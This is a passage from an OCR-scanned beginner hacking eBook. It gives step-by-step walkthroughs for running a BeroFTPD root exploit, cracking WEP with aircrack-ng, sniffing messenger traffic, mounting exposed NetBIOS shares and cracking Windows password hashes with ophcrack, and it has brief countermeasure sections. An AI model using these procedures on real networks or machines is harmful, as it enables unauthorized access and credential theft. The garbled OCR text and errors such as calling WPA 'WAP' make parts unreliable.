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Fle Edit \iew Terminal Tabs Help

To run a command as administrator (user "root"), use "sudo <command=".
See "man sudo root" for details.

ubuntu@ubuntu:~3% sudo apt-get install build-essential

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following extra packages will be installed:
dpkg-dev g++ g++-4.5 libc6-dev Llibstdc++6-4.2-dev libtimedate-perl
linux-Tlibc-dev patc

Suggested packages:
debian-keyring g++-multilib g++-4.2-multilib gcc-4.2-doc libstdc++6-4.2-dbg
glibc-doc manpages-dev libstdc++6-4.2-doc diff-doc

The following NEW packages will be installed:
build-essential dpkg-dev g++ g++-4.2 libc6-dev libstdc++6-4.2-dev
libtimedate-perl linux-libc-dev patch

@ upgraded, 9 newly installed, ©® to remove and 1 not upgraded.

Need to get OB/8703kE of archives.

After this operation, 34.3MB of additional disk space will be used.

Do you want to continue [Y/n]?

9. This command downloads the package and then asks you if you would like
to continue with installing. Type in a “y” and hit enter. It automatically will
install the package.

10. Now to compile the script type in the command “gcc exploit.c”, it will
quickly compile. If there was no error displayed, then it was successful. By
using the “Is” command you can now see there’s a new file named “a.out”
this is the compiled script.

11. To run the new file type in the command “./a.out”. This will display a little

note telling you how to run the exploit against a server. The below image
shows all of these steps together.
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File Edit wiew Terminal Tabs Help

ubuntu@ubuntu:~% 1s —
Desktop Documents exploit.c Music Pictures Public Templates Videos
ubuntu@ubuntu:~$% gcc exploit.c
ubuntu@ubuntu:~% 1s

Documents Music Public Videos
Desktop exploit.c Pictures Templates
ubuntu@ubuntu:~% ./a.out

BeroFTPD 1.3.4(1) exploit by gitestl

Usage: ./a.out [options]
Options:
-h hostname
-t target
-o0 offset
Available targets:
8) RedHat 6.2 with BeroFTPD 1.3.4(1) from tar.gz
1) Slackware 7.8 with BeroFTPD 1.3.4(1) from tar.gz
2) Mandrake 7.1 with BeroFTPD 1.3.4(1) from rpm
ubuntu@ubuntu:~% ./a.out -h host-name-here -t target-site-here -o offset-here -

12. The last line of the picture shows the proper way a hacker would use the
script against a server.

13. Once the hacker ran the script against a vulnerable server running
BeroFTPD 1.3.4 and the script worked, the hacker would now have root
access to the server. Below is an image of what the root account on Ubuntu
would look like.

File Edit View Terminal Tabs Help

root@ubuntu:~# whoami
root
root@ubuntu:~# [

As you can see the “whoami” command tells you who you are on the
system. In this case | am root.
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Cygwin

If you only have access to a Windows machine, and you come across
a C/C++ script that is only meant to be compiled in Linux, then you can use
Cygwin to make it possible in Windows. Let’s get right into it!

1. Download Cygwin from http://www.cygwin.com/.
2. Run the installer.
3. Choose to install from the internet.

( yewin Setup - Choose Installation Iiype ; E W
Chooze A Download Source
Choose whether to install or download from the internet, or inztall from files in L=

a local directary.

(%) Install from Internet
[dovenloaded files will be kept for future re-uze]

() Download Without Installing

() Inztall from Local Directory

< Back ]i Mext > ll Cancel

4. Continue on until it asks you to choose a mirror to download
from. Choose any.
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Choose A Download Site
Choose a site from this list, or add your awn sites to the list

Available Download Sites:

hittpe /A veny-clever. com
ftp: A mirrore. mmizzion. com
hittp: A Amirrors. smizsion. com
hittp: Admirror, calvin, edu

hittp: A fmirror.cpz.cmich. edu
ftp: A #ftp. gtlib. gatech. edu
hittpe /A atlib. gatech. edu
hitp: A #kambing. ui. edu
ftpedmirror.cs. vt edu

hittp: Admirror, cz.vt edu
ftpedAmirror.mes. anl.goy "

[

Uzer URL: Add

I < Back I[ Mexst > ]I Cancel I

5. Next you must select packages to download. Click View “+” under
Devel to expand the category. Expand the window so that you can
see all of the columns. Under the package column, search for gcc-
core and click on “Skip” to select it and click next.

6. Ifit tells you that you haven’t selected a couple packages that you
need, agree to install them and click next.

7. It will begin to install the packages

8. Once it isinstalled, double click the desktop icon and a command
prompt should come up.

C O x

9. Using the same exploit as the last example, save and move it into
the “C:\cygwin” directory as “exploit.c”.
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10. Now it’s time to run the exploit. First you must change the
directory to the home directory (C:\cygwin) by using the
command “cd /”. Next use the “Is” command to display all the
files in the current directory. You should see “exploit.c”.

11. Now to compile the script we use the same command as we did
in Ubuntu: “gcc exploit.c —o exploit”. Here you see that we added
a new parameter “-0”. This simply tells the compiler to name the
output exe “exploit.exe”. Hit <ENTER> and if no error messages
came up, then it was successful. If you use the “Is” command
again, you should see a new file “exploit.exe” in the directory.

12. To run the exploit, simply type “./exploit”. It will now display the
scripts runtime directions. Put in the right options and parameters
and run the script again. The picture below shows all of these
steps being done.

ygwin.bat Thumbs.db cygdrive etc home proc usr
yguwin.ico bin deu exploit.c lih tmp var

5 goe exploit.c —o exploit

S 1s
ygwin.bat Thumbs.db cygdrive etc exploit.exe 1lib tmp wvar
ygwin.ico hin deu exploit.c home proc  usp

sexploit
BeroFTPFD 1.3.4¢1> exploit hy gitestl

zage: .sexploit [options]
Options:
—h hostname
-t target
-0 offset
Available targets:
B» RedHat 6.2 with BeroFIPD 1.3.4{1> from tar.g=
1> Slackware 7.8 with BeroFTPD 1.3.4<¢1> from tar.gz=
2» Mandrake 7.1 with BeroFTPFD 1.3.4¢1> from rpm

exploit —h host—here —t target—address—here —o offset—here

13.0nce a hacker runs this script against a vulnerable machine and
the script works, he will have root access to the target computer.
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The more exploits you run, the more you will notice that half of them may not
work. Many exploits are created and tested in specific environments and the
expected outcome only happens when the exploit is run in the exact same
environment. That is another reason why programming knowledge is needed, so
you could edit the exploit script to work for you.

Once a skilled hacker gains root to a server he has the ability to do a lot of
damage. Some of the things a hacker might do with a rooted server is:

Add himself as a permanent user for future access.

Add the server into his botnet collection so he could use it as a weapon
against other servers.

Use it as a proxy to hack other websites.

Install a rootkit so he can come back and have full control over the server
when needed.

Constantly steel information as it comes.
Use the system to store illegal data.

Deface the website and sometimes the hacker will delete everything off of
the server.

Countermeasures

There are a few things you can do to stay secure from network hacking

attempts.

1.

w

Keep all your software up to date. There will always be new vulnerabilities
coming out, and your responsibility is to patch them immediately after a
patch comes out.

Implement a firewall. This will keep most of the bad data out and good
data in.

Install anti-virus software.

Scan your system with a vulnerability scanner. This may reveal possible
vulnerabilities in your system.
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Chapter Six

Wireless Hacking
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Nowadays, there are wireless hotspots everywhere! You can get internet
access with a wireless enabled laptop almost everywhere you go. In this chapter |
will discuss ways a hacker goes about getting into secure wireless networks and
things he can do once he is inside.

Scanning for Wireless Networks

For this section and the following, you will need to have a wireless
card/adapter. The hacker starts by scanning for wireless networks near him. The
Windows tool we will use in this section is called NetStumbler. Also by the time
you receive this eBook MacStumbler may already be released for those of you
using a Mac. Some other similar programs are:

e Kismet for Windows and Linux.
e KisMac for the Mac.

1. Download and install NetStumbler.

2. Runit. It automatically starts to scan for wireless access points.

3. Once it is completed, you should see a list of all the wireless access points
around you.

i Network Stumbler - [20030701 140030.ns1]

DEE| o -Ems = T
= "4’ Channals A | Mac | 551D | Mame | Chan| Speed | Vendor | Type | Eneryplion &
"5 O0B0CEES2EA2  detsull 3 22 Mbps  O-Link AR
=g 2 0001 24F03FE2  q_network 3 11 Mbps  Acer AP OWER
=R (003065042509 Lynda's Mabwark 1 11 Mbps  Apple =
w4 W O00E2STEIZ0F LA A b 11 Mbps  Linksys AP WEP
+ K 5 0050 BORGARA  Veste's wireloss network G 11 Mbps  Advanced Muli. AF
K6 (D 00400SCEFERC  madhuri b 22 Mbps  D-Link, AF
w7 (0090EINEEER  wircloss B 11 Mbps Gemtok(D-Link)  AF
w5 8 @ 0030AB12ABIC  ‘Wirslass 1 11 Mbps Delai{Melgear) AP WEP
=5 @ 000958292858 Wireless 1 11 Mhbps  Matgear AP WEP
© DI4EZIETICE (@ 00035E19BIEA  vishokha ] 11 Mbps Metgeor AR WEP
@ 0006250423 @00SOFZTIZFOE  MYWIRELESS B 11Mbps Microsof AP WEP
o (D DI04SACFFAZD  linksys B 11Mbps Linksys AR
ggﬂg:gg:iffoﬁz (@ 0030ABIFEFFC  Taunami 11 11Mbps DeBaiNeigear) AP WEP
@ e (@ 004005844FED  ShivaMet ? 22 Mbps  D-Link AF WEF
000356303738 Q004096336184 manjur B 1iMbps Cisco(bionef AP
B 0030ABOFCITY (DO04SACEITIF  vimyhome 10 11Mbps Linksys ]
w5 10 (& O0045ADT8AST  MREA-CWAR? 4 11Mbps Lnksys AP WEP
R ] @ 00CO02CCFOE?  SpesdSteam 1 11 Wbps  Sercomm AR WEP
* %SSIDS (& O0045AEBDAIF  wirsless b 11 Mbps  Linksys AR WER
=0 Fikers (D 0030AEN 24010 NAZARETH 1 11 Mbps DebaNelgea) AR
& Encryption Of @ 000SSDECAASZ  sanemdTl b 11 Mbps  O-Link AF WER
8 Eneryplian On 000956290901 Wireless 1 11 Mbps Mesgear AP
B ESS (AR 000625978554 linksys i 11 Mbps  Linksys AR
X' IBES (Peear) guuossamd?m cali 3 G4 Mbps  Linksys AR WER
i OF Pallabla DO0GZESFFSEF  linksys § 11 Mbps  Linksys AP
¥ Short Preamble (@ 00062596BCTD  shreys § 11 Mbps  Linksys AP WEP
(i}
& Detsult S50 @ 0ICO0ZCOAIDE  HOME 11 11Mbps Sercomm AF WEF
Tl (00095E1138B6  Home A 11 Mbps  Metgear AR
3 PBCC i = sl A ¥
'K Channel Agilty w |£ *
Ready [Hok scanning GPS; Desabled
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4. If you click on the MAC address of one of the discovered wireless networks
under channels, you will see a graph that shows the wireless network’s
signal strength. The more green and the less spaces, the better the signal.

5. Asyou can see NetStumbler provides a lot more than just the name (SSID)
of the wireless network. It provides the MAC address, Channel number,
encryption type, and a bunch more. All of these come in use when a hacker
decides he wants to get in the secured network by cracking the encryption.
The most common types of encryption are:

e WEP (Wired Equivalent Privacy) — WEP isn’t considered safe
anymore. Many flaws have been discovered that allow a hacker to
crack a WEP key easily.

e WAP (Wireless Application Protocol) — WAP is the currently the most
secure and best option to secure your wireless network. It’s not as
easily cracked as WEP because the only way to retrieve a WAP key is
to use a brute-force or dictionary attack. If your key is secure enough,
a dictionary attack won’t work and it could take decades to crack it if
you brute-force it. This is why most hackers don’t even bother.
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Cracking WEP

In this section we will use be using the Live Linux distribution called

BackTrack to crack WEP. Backtrack comes with a huge list of preloaded software
for this very purpose. Before we begin, there are a couple requirements:

1. You need a computer with a compatible wireless adapter.
2. Download Backtrack and create a Live CD.

The tools we will be using on Backtrack are:

Kismet — a wireless network detector

airodump — captures packets from a wireless router
aireplay — forges ARP requests

aircrack — decrypts the WEP keys

Let’s begin!

1. First we will find a wireless access point along with its bssid, essid and

channel number. To do this we will run kismet by opening up the terminal
and typing in kismet. It may ask you for the appropriate adapter which in
my case is ath0. You can see your device’s name by typing in the command
iwconfig.

x invalid f
Mi

To be able to do some of the later things, your wireless adapter must be
put into monitor mode. Kismet automatically does this and as long as you
keep it open, your wireless adapter will stay in monitor mode.

. In kismet you will see the flags Y/N/O. Each one stands for a different type

of encryption. In our case we will be looking for access points with the WEP
encryption. Y=WEP N=OPEN 0=OTHER(usually WAP).
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4. Once you find an access point, open a text document and paste in the

networks broadcast name (essid), its mac address (bssid) and its channel
number. To get the above information, use the arrow keys to select an

access point and hit <ENTER> to get more information about it.
Network List (Autofit)

Name k T W Ch Packts Flags IP Range

default A N 006 9F 02_.168.0

I jyonder.net 42 U4 10.254.178.254
I jyonder .net 22 A3 10.254.178.0

! eurospot 19 U4 204.26.5.166

! NETGEAR § 0.0.0.0

. The next step is to start collecting data from the access point with
airodump. Open up a new terminal and start airodump by typing in the
command:

airodump-ng -c [channel#] -w [filename] --bssid [bssid] [device]

In the above command airodump-ng starts the program, the channel of
your access point goes after -c, the file you wish to output the data goes
after -w, and the MAC address of the access point goes after --bssid. The
command ends with the device name. Make sure to leave out the brackets.

. Leave the above running and open another terminal. Next we will generate
some fake packets to the target access point so that the speed of the data
output will increase. Put in the following command:

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55:66 -e [essid] [device]

In the above command we are using the airplay-ng program. The -1 tells the
program the specific attack we wish to use which in this case is fake
authentication with the access point. The 0 cites the delay between attacks,
-a is the MAC address of the target access point, -h is your wireless
adapters MAC address, -e is the name (essid) of the target access point, and
the command ends with the your wireless adapters device name.

. Now, we will force the target access point to send out a huge amount of
packets that we will be able to take advantage of by using them to attempt
to crack the WEP key. Once the following command is executed, check your
airodump-ng terminal and you should see the ARP packet count to start to
increase. The command is:

aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:5:66 [device]
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In this command, the -3 tells the program the specific type of attack which
in this case is packet injection, -b is the MAC address of the target access
point, -h is your wireless adapters MAC address, and the wireless adapter
device name goes at the end.

8. Once you have collected around 50k-500k packets, you may begin the
attempt to break the WEP key. The command to begin the cracking process
is:

aircrack-ng -a 1 -b [bssid] -n 128 [filename].ivs

In this command the -a 1 forces the program into the WEP attack mode, the
-b is the targets MAC address, and the -n 128 tells the program the WEP
key length. If you don’t know the -n, then leave it out. This should crack the
WEP key within seconds. The more packets you capture, the bigger chance
you have of cracking the WEP key.

KE

o
1
2
£
3
__:1
5
5]
7

depth  bytelvote)

o/ 7D 170495) DDi 158528) 5
0/

0/
0/
0/
0/
0/
0/
0/
0/
o/
0/
0/

el el el e i

KEY FOUMD! [ 7D:00:05:F9:8D:C9:E4:89:F2:11:C5:49:98 ]

With all the different computers and network adapters out there, you may come
across a error occasionally. If you get stuck, remember, Google is your friend! ©
Search for an answer and | guarantee you that 99% of the time you will find a
solution.
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Packet Sniffing

| will be using the program Wireshark do demonstrate packet sniffing.
Packet sniffing is the act of capturing packets going through a network. With a
packet sniffer, once a hacker gains access to wireless network he could intercept
private information going through a network such as: usernames, passwords, IM
conversations, and e-mails. Let’s show you an example.

1. Download and install Wireshark .
2. Launch it and click on the option to list the available capture interfaces as
shown below.

File Edit Wiew Go  Capture  Analyze  Statistics  Help

B W e = WIS EEeaaaD FE\%|
Ei|t8r:|LisI:theavailablecaptureinterFaces...| ¥ Expression... Clear Apply

‘4"Wireshark: Captire Interfaces

Description 1P Packets Packets/s
i. Adapher for generic dialup and WP capture [§tart ] [thions ] [Qetails l
@l NETGEAR Wa111 802.11g Wireless USEZ.0 Adapter (Microsoft's Packet Scheduler) 192.168.1.101 [ tart | | options | | petails |

w

Next choose the target to begin to capture their packets and click on start.
4. If you don’t know which one to choose, wait a little bit and the one that
accumulates the most packets is your best choice. Many captured packets
shows that the user is currently active.

- -

"i!'Wireshark: Capture Interfaces : E E

Description P Packets Packetsfs
i. .C\%pter far generic dialup and WPM capture [§tart ] [thions l [Qetails l
@ NETGEAR WG111802.11q Wireless USB2.0 Adapter (Microsoft's Packet Scheduler) 192.168.1.101 920 1 |start || cptions | |petails |
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5. Now to show you an example of how Wireshark can be used | will start up
Windows Live and send a message. As you will see in the image below, my
whole conversation will be captured. To filter out all the useless data and to
only display the Windows Live related packets type in “msnms” in the filter
bar.

+ F =

File Edit Wiew Go Capture Analvze  Skatistics  Help

3 Ae DT LIEE QAQQE

Eilker: | msnms * Expression... cClear apply

7. Te5. 1

23 LSS EE L L S9e.10E. L) i )
1515 32. 026485 152.168.1.101 207.46.27.34 MSMMS MSGE 9 U 90
2208 36, 504746 192.168,1.101 207.46. 27,34 MSHMS MsE 10 M 145
2210 36.682696 207.46.27.34 152.168.1.101 MSMMS M35 smarterchild@hot
3050 55.059227 207.46.107. 80 192.168.1.101 MSHMS MLN awy sean@spot]ig
3109 56.638464 207.46.107. 80 152.168.1.101 MSMMS UBx sean@spot1ightph

Frame 1326 (209 bytes on wire, 209 bytes captured)
Ethernet II, Src: Metgear_70:5e:0b (00:0fF:b5:70:5e:0kb), Dst: Cisco-Li_f4:07:h5 (00:0c:41:F:
Internet Protocol, Src: 192.168.1.101 (192.168.1.10170, Dst: 207.46.27.34 (207.46.27.347
Transmission Control Protocol, Sre Port: 7601 (F60L), Dst Port: msnp (18630, Seq: 1105, Ach
MSh Messenger Serwvice

MSS 8 N 142%rn

MIME-version: 1.0%r%n

Content-Type: text/plain; charset=UTF-8%r%n

H-MMS—IM-Format: FHN=MS%Z0shel1%200Tag; EF=; Co=0; CS=0; PF=04%r%n

Ryl

6. Asyou can see, my message is displayed at the bottom. If | continue down
the list | can see the whole conversation. Usernames and passwords are
captured the same way, and if they aren’t encrypted, you can see them in
plain text.

Some other useful sniffing programs to learn:

e WinDump
e Snort
e Dsniff
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Countermeasures

There are a few countermeasures you could follow to keep your wireless

network safe from hackers.

1.

Change your routers default password and make sure you have WAP
encryption enabled. If your router doesn’t have a WAP option, use WEP. It
is better than nothing.

. Use a long secure password for your router. Include numbers, lowercase

letters, uppercase letters and other symbols. The more obscure the better.

. Make sure your router has the option to not broadcast your SSID enabled.

This will prevent some programs like Net Stumbler from locating your
wireless network.

Use MAC filtering on your router. Every wireless card and wireless adapter
has a MAC address. By choosing to allow only your MAC addresses onto the
network, you can keep a lot of attackers out.

. To prevent packet sniffing attacks from affecting you, make sure the

important sites you use, like banks, use SSL (Secure Socket Layer)
encryption. You can tell if the site has SSL enabled if the URL begins with
https:// instead of http:/.

In cafés or other hotspots where internet is free, packet sniffing is very
common. To avoid being affected use a VPN (Virtual Private Network)
service to encrypt the data you send across the internet.
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Chapter Seven

Windows Hacking
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NetBIOS

NetBIOS stands for Network Basic Input Output System. It allows your LAN
or WAN to share drives, folders, files and printers. Gaining access to a computer
through NetBIOS is very simple and easy. The only thing required is for the target
machine to have file and printer sharing enabled and to have port 139 open.
Below | will show you an example of what a hacker would do to gain access to a
Windows machine through NetBIOS.

1. First the hacker would search for a target. A common tool used by hackers
is Angry IP Scanner . Download and install it.

2. Next the hacker would insert the IP range he would like to scan. If the
hacker was connected to a WLAN (Wireless Local Area Network) he would
scan the local computers like | have shown below.

ta

ANEry I scanner £.

File Goto Commands Fawaorites Options  Utils  Help

Prange: | 192 . 168 . 1 . 1 o | 192 . 1688 . 1 . 224 |@stert] |

CLaEs
=]

CLASS

Hasthame: |davids-machine | P | —

Threadz . 0

|E @ i | Ping o i | Hostname @ d | |

3. Since the hacker’s goal is to gain access to a system through NetBIOS, which
runs on port 139, he will choose to scan each found host for that port. Click
the downward arrow on the right and check the Scan ports box. A popup
will come up asking you if you would like to select a new port. Click YES.

| Scan ports AN,{&,

IP o i | Ping @ i | Hosthame @ i |

fpscan R

] Mo ports are currently selecked For scanning.
L3 Do o wank to select them?

\“e‘q\ Mo |
Ml
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4. Type in the port number 139 into the first box and click OK.

.
Select ports @

Enter ports to scan [or use helpers below) ﬂ
Partz: |1 9

Single part

Part: | | v Add

Fort range
Frarm: | ta | &dd

MHaote: please be patient when scanning portz. [Fmay
take long if you want to 2can too many ports.

ak | Cancel |

5. Click start. The program will begin scanning and when it’s complete a box
with the results will come up.

ﬁngry IP"Scanner W
& Scanning finizhed
=g 44 zec, 0196 zec/host

13216811 - 192.168.1.224

IPg szanned: 224
Alive hosts: 1
With open ports: 1

Partz scanned:
1 /4 hosgt, 1 tatal

6. Asyou can see 224 Ips were scanned. Out of those only one was alive and
luckily it has port 139 open.
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P @ 1 | Ping @ 1 | Hosthame o 4

.192.158.1.89 Dead A5
.192.158.1.5"] Dead f/5
.192.158.1.91 Dead M5
.192.158.1.52 Dead P A5
.192.158.1.93 Dead A5
.192.158.1.94 Dead f/5
.192.158.1.95 Dead M5
.192.158.1.55 Dead P A5
.192.158.1.9? Dead A5
.192.158.1.98 Dead f/5
.192.158.1.99 Dead M5
.152.158.1.100 Dead P A5
{:}1921581.101 0 davids-machine....
.192.158.1.102 Dead f/5

7. Open the Command Prompt by going to Start -> Run -> Type in cmd ->
<ENTER>.

8. Now the hacker would run the “nbtstat —a TargetiPaddress” this will tell us
if the target has file and printing enabled. Without it, this attack is not
possible.

ZﬁWINDﬂWSEFtemEEEmd.ﬂe

icroszoft Windows AP [Uerszdion 5.1.26881
CC» Copyright 1785-2081 Microsoft Corp.

s»Documents and Settings“David Minbtstat —a 192.168.1.181

Jireless Metwork Connection 2:
ode IpAddre=ss: [192.168.1.1811 Scope Id:- [1]

MetBIOS Remote Machine MWame Tahle
Status

DAUVIDS-MACHINE <@@> UNIQUE Registered
DAVIDS-MACHINE <2@> UHIQUE Registered
MSHOME <@Aa> GROUP Registered
MSHOME <1E> GROUP Registered
MSHOME <1D> UNIQUE Regiztered
- -__MSBROWSE__.<@#1i> GROUP Registered

MAC Address = BA-BF-BS-Y8-5E-HB
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9. In the above image DAVIDS-MACHINE is the name of the target computer.
If you look to the right of it you will see the number <20>. This means that
file and printer sharing is enabled. If there was no <20> then you could not
go any further and would have to find a new target.

10. Next the hacker would run the command “net view \\TargetIPaddress”.
This command will display any shared drives, folders, files or printers. If
nothing comes up, you won’t be able to gain access to anything since there
is nothing being shared. In my case, | got the following:

sJDocuments and SettingssDavid Minet view ~~192.168.1.181
Shared resources at ~S192.168.1.181

Share name

Send To OneMote 2087
Printer2 o HP Photosmart B20H0 Series
SharedDocs
he command completed successfully.

11. In my example, | have two printers shared and one disk named
SharedDocs. The hacker would be able to take control of my printers and
view everything in my SharedDocs disk.

12. To gain access to my SharedDocs disk, the hacker would have to map out
the drive onto his computer. If successful, the hacker will have all the
contents of my drive on his computer.

13. To map out my drive onto his computer the hacker would use the
command “net use G: \\TargetlPaddress\DriveName”. So in my case |
would run the command “net use G:\\192.168.1.101\SharedDocs”. You
can use any letter in place of G:\\. This just tells the computer what to
name the drive on your computer.

»JDocuments and SettingssDavid Mipnet uwse G: ~~172.168.1.181~SharedDocs
Custem error 85 has occurred.

he local device name iz already in use.

»JDocumentsz and SettingssDavid Mipnet wse J: ~~172.168.1.181~SharedDocs
he command completed successfully.

14. What's this? Looks like | already have a drive G. To avoid this problem, go
to My Computer where it will show all of your current Drives. To fix this
simply change the letter G to a nonexistent drive letter.
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15. Once the command is completed successfully, go to My Computer and you
should see a new drive under Network Drives. Double clicking it brings up
all of the targets documents.

@'iz’ﬂ Local Disk, {C:)

Devices with Removable Storage

4 -
) IKQJ, DYD-RAM Drive (D) w Removable Disk (E:)
w Removable Disk (F:) w Removable Disk (G
w Removable Disk (H: ) w Removable Disk (11

Metwork Drives

o

9 sharedDocs on '192.168.1.101°
(20

Cracking Windows Passwords

To crack Windows XP and Windows Vista passwords, we will use the
program called ophcrack. Ophcrack is a Windows only password cracker, and it
uses rainbow tables to get the job done quickly. It cracks passwords for both
Windows XP and Vista but it is more powerful on XP because Vista fixed the
security hole that allowed XP to crack passwords easily. Windows uses a couple a
couple types of hashes. One of them is the LM (Lan Manager) hash. If a password
is longer than seven characters, then it is split into seven character chunks, made
into all uppercase, and then hashed with the DES encryption. Because it is split
into parts and made all uppercase, the total number of different password
combinations goes down significantly, and makes it easier for hackers to crack the
password. The Windows password hashes are stored in a couple places:
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e Inthe C:\WINDOWS\system32\config directory where it is locked to all
accounts but the system account which you don’t have access to.

e Inthe registry: HKEY_LOCAL _MACHINESAM where it is also locked for all
users.

So you might be wondering, how can | get a copy of those hashes? There are a
couple ways.

e Boot from a Linux live CD and copy the SAM file onto a USB or floppy
disk.

e Use the PWDUMP program that comes with ophcrack to trick the
registry into giving up the hashes.

1. First download and install ophcrack. As you can see there are two
versions. In this example we will be using the program itself in windows,
so download the first option.

S Download | Download
ophcrack ophcrack LiveCD
All platforms No installation

2. Once you have it downloaded, install it. When the option comes up to
download rainbow tables, unclick them all and just install the program.
It is better to download the rainbow tables separately.

o
';' opherack 3.001Setup i~ o
Choose Components —r

Choose which Features of opherack 3.0.1 vou wank ko install, (‘;J

Check the components you want ko install and uncheck the components wou don't wank ko
install. Click ket ko continue,

Select components to install: aphicrack (required)
(W} cvonload and Install small WinkP Eables (380ME)
[] bownload and Install Fask WinxP tables (7O3ME)
[ pownload and Install free Vista tables (46 1ME)

Space required: 12.6MB

l < Back ]i Mgk = i ’ Cancel
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3. Once itisinstalled, go to the ophcrack website and click on Tables in the
navigation. This will display all the tables you can download. As you can
see, the more characters covered, the bigger the table gets. Choose the
correct table for your operating system.

XP free small (380MB)
formerly known as SSTIC04-10k

Success rate: 95.9%
Charset: 0123456783 abcdefghijkimnopgratwesy zABCDEF GHIJKLMNOP QR STLNAEY T

mdasurm: 17 cfadfch13e27523601123eb241 bl

XP free fast (TOSMB)
farmerly known as S5TIC04-3K

Success rate: 95.9%
Charset: 0123456783 abcdefghijkimnopgratwesy zABCDEF GHIJKLMNOP QR STLNAEY T

mdasum: BfR536Y75b57 891 edsf2de?02a02bd

XP special (7.5GB)
formerly known as Ws-20k

Success rate: 56%
Charset: 0123456783 abedefghijkimnopgrstuvasy 2 ABCDEF GHIJRLMNOP QRSTLNAMNY T "SR %A T+ - .,
==="E\"_{} (including the space character)

XP german (7.4GB)
formerly known as german

Success rate: 99%

Only for passwards that containg at least one german character (Fa0A0UR)

Charset: 0123456782 abedefghijklmnopgrstuvay 2 ABCDEF GHIJKLMMOP QR STUNAEY T "85 % E 0 + -,
==P@ - aanA0UR
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0 Vista free (461MB)

Success rate: 99%
Charset: based on a dictionary with variations (hybrid mode)

md3sum: 403cB8178d7272a45515b47 caBbZebb

Vista special (8.0GB)
farmerly known as NTHASH

Success rate: 99%
Passworids of length 6 or less
Charset: 01234567 8%abedefghijklmnopyrstuway zABCDEF GHIJKLMMNOPQRS TN Z
"EF% 8 07+ - === g\ _{}= (including the space character)
Passwords of length 7
Charset: 012345678%abedefghijklmnopgrstuwasy 2 ABCDEF GHIJKLMMOPQRSTILAAM S T
Passworids of length 8
Charset: 0123456789 abedefghijklmnopogratuayz

4. In the example, | chose the largest possible free table. Next run
ophcrack and click on tables. Select the table you downloaded and click
Install to locate the file on your computer. Hit OK to continue.

P

lable’Selection H’ =
k [

Table Direckary Skatus
* ¥P Free Fast iC: [Downloads R ainbow Tables/=P on disk
@ XP free small not installed
@ P special not inskalled
@ ¥P german w1 not inskalled
@ XP german w2 not installed
@ Vista special not inskalled
@ Yiska free niot installed

@ = enabled & = disabled @ = not installed
EEEE -
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5. Next we will be running PWDUMP to obtain the password hashes. Make
sure all of your anti-virus and anti-spyware programs are disabled
because most anti-virus programs mistake PWDUMP for a malicious
program since it accesses the system files. If you don’t disable the anti-
virus program PWDUMP will fail in retrieving the hashes.

6. Click Load and select Local SAM. This will load all the password hashes
for all the users on your computer and display them.

Progress Skatiskics Preferences
ser LM Hash MT Hash LM Pwd 1 LM Pwd 2 MT Prwad
Administrator 11BF7BE7 120855, ..
Bob FEC911E43CDEL... 1BFS54D7FFFD4... empty
Drawid M 11BF7BE7 120855, ..
Guest 3ldécfeddigaed... emphy
Helpassistant BEE301C0IE405... 48172ZFOE449147 .
Pushkin SDOSOIDS0E39A... F2O5D202A6CAG. .
SUPPORT_35594 ... DA0SEOBE4E1386...

7. Next click Crack and the program will begin to crack the password
hashes.

8. Once the program finishes cracking, you should see a screen similar to
the following:

™ - ) . or g] @
| s f i
o LU &8 v @ 9
Load Delete Save Tables Crack Help Exit About
Progress Skatistics Preferences
ser LM Hash MT Hash LM Prwd 1 LM Pwd 2 MT Prd
Adrninistrator 11BF7E7 120855, .. ok Found
Bob FECI11E43C0EL... 1BF354D7FFAD4... LOLCATS emply lolcats
David M 11BF7E7 120855, .. ok Found
Guest 3ldecfendlsasd... empky
HelpAssistant BES3IALCOCE403... 43172F9E449147 ... not Found nok Found nok Found
Pushkin 9DOS01DS0E39A... F2950202A6CAG6... CHRISTM As02 Christrmas0z
SUPPORT_38594.. DACOEE0E4E155E .. nok Found
Table Directory Skakus Progress
+- @ ¥P free fast C/DownloadsiRa... 100%s in FAM
Preload: done Bruke force: dore Prad Found: 37 Time elapsed: 0h 1m 49s
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9. Asyou can see, two out of three of my account passwords were cracked

in a matter of a couple minutes.
e Bob :lolcats
e David M: not found
e Pushkin: Christmas02

Ophcrack LiveCD

The next method to crack the Windows hashes | will show you is

through an ophcrack LiveCD.

1.

w

Go to the ophcrack website and choose the correct operating system
LiveCD to download.

With the downloaded .ISO, create a LiveCD the same way you did with
the Ubuntu LiveCD in the Linux chapter.

Put the CD in your CD-Drive and restart to boot from the CD.

You will see the following screen:

ophcrack LiveCD

Ophcrack Graphic mode

- - Dphcrack Graphic UESA mode
2 osuecriF secunme o)
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5. Hit <ENTER> or wait six seconds to boot into the Ophcrack Graphic
mode. If something goes wrong and the screen won’t show the
Graphics, restart and go into the Ophcrack Graphic VESA mode. If this
also fails, go into Ophcrack Text mode.

6. Once it ophcrack loads completely, it will automatically get your
Windows password hashes and begin the cracking process.
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Countermeasures

There are a couple things you can do to prevent NetBIOS and Ophcrack
password cracking attacks.

1. To keep computer from being a target of NetBIOS attacks, simply disable
file and printer sharing. In Windows Vista, it is disabled by default but you
must do a little work in Windows XP.

e Go to Start -> Control Panel -> Network Connections.

e Double click on your active connection. In my case it is the Wireless
Network Connection 2.

e Click on Properties.

o |f File and Printer Sharing is selected, deselect it and click OK.

LAM or High-Speed Internet

< =" 15394 Conpection 2 :;']:]* 2 Wireless Network Connection 2
. CnnnecteE‘}gFirewalled . | Connecked, Firewalled
T 1394 Met Adapter T (e METGEAR Wialll S02.11g Wir..,

General | Suppart
Cornection
Statuz: Connected
Metwork: EntertndGetHacked
Druration; 01:08:43
Speed: 1.0 Mbps
Signal Strength: il[l[l[l
Activity
Sent :Q7 Received
.
L [II:']]
Biytes: 16,306,226 B16,643 425
I Properties ” Dizable H Wiew Wireless Metwaorks ]
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-+ Wireless Network Connection’ 2" Properties 'E'

General |Wireless I etworks || .ﬁ.dvanced|

X

Connect uging:

Thiz connection uzes the following items:

EHS MNETGEAR WGE11T B0211g Wireless

Allowwz pour computer o access resources on a Microgoft
network.

Show icon in notification area when connected
Matify me when thiz connection haz limited or no connectivity

= Chent for Microzaft Metwarks H
File and Printer Sharing for Microzoft Metworks
(05 Packet Scheduler
T Metworl: Monitor Driver M
[{_] n ] m
[ Inztall... ] [ I ninztall ] [ Froperties ]
D' ezcription

0k, ] [ Cancel
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Chapter Eight

Malware
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Malware is a big problem today. Everyday thousands of innocent people
are getting infected by different types of malware. The most common types of
